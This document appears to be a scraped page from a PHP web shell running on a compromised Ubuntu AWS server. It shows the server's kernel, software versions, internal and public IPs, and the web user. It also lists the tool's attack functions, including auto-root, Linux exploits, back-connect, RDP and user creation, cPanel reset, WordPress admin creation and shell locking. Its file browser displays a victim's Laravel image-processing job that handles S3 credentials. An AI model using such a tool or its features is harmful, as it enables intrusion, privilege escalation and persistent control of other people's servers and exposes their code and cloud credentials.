Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.189.13.48
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cravings-staging /
app /
Jobs /
[ HOME SHELL ]
Name
Size
Permission
Action
AvgPlaceRating.php
1.44
KB
-rw-rw-r--
ProcessImage.php
2.01
KB
-rw-rw-r--
ProcessReviewImage.php
1.43
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProcessImage.php
<?php namespace App\Jobs; use App\Http\Services\ImageManager; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\DB; use Tinify\ClientException; class ProcessImage implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; protected $files; protected $credentials; /** * Create a new job instance. * @param array $files array of files to process with file objects and url as keys for each file * @return void */ public function __construct(array $files) { $this->files = $files; $this->credentials = array( "service" => "s3", "aws_access_key_id" => env('S3_KEY'), "aws_secret_access_key" => env('S3_SECRET'), "region" => env('S3_REGION') ); } /** * Execute the job. * * @return void */ public function handle(ImageManager $im) { // process uploaded image foreach ($this->files as $i => $file) { try { $im = new ImageManager(); $source = $im->fromFile($file['file']); $base_image = $file['url']; $path = env('S3_BUCKET') . $base_image; $this->credentials['path'] = $path; $resized = $source->resize(array( "method" => "cover", "width" => 600, "height" => 600 )); $resized->store($this->credentials); if (file_exists($file['file'])) { try { unlink($file['file']); } catch (\Exception $e) { } } } catch (\Exception $e) { // $notdone[] = intval($i); } } } }
Close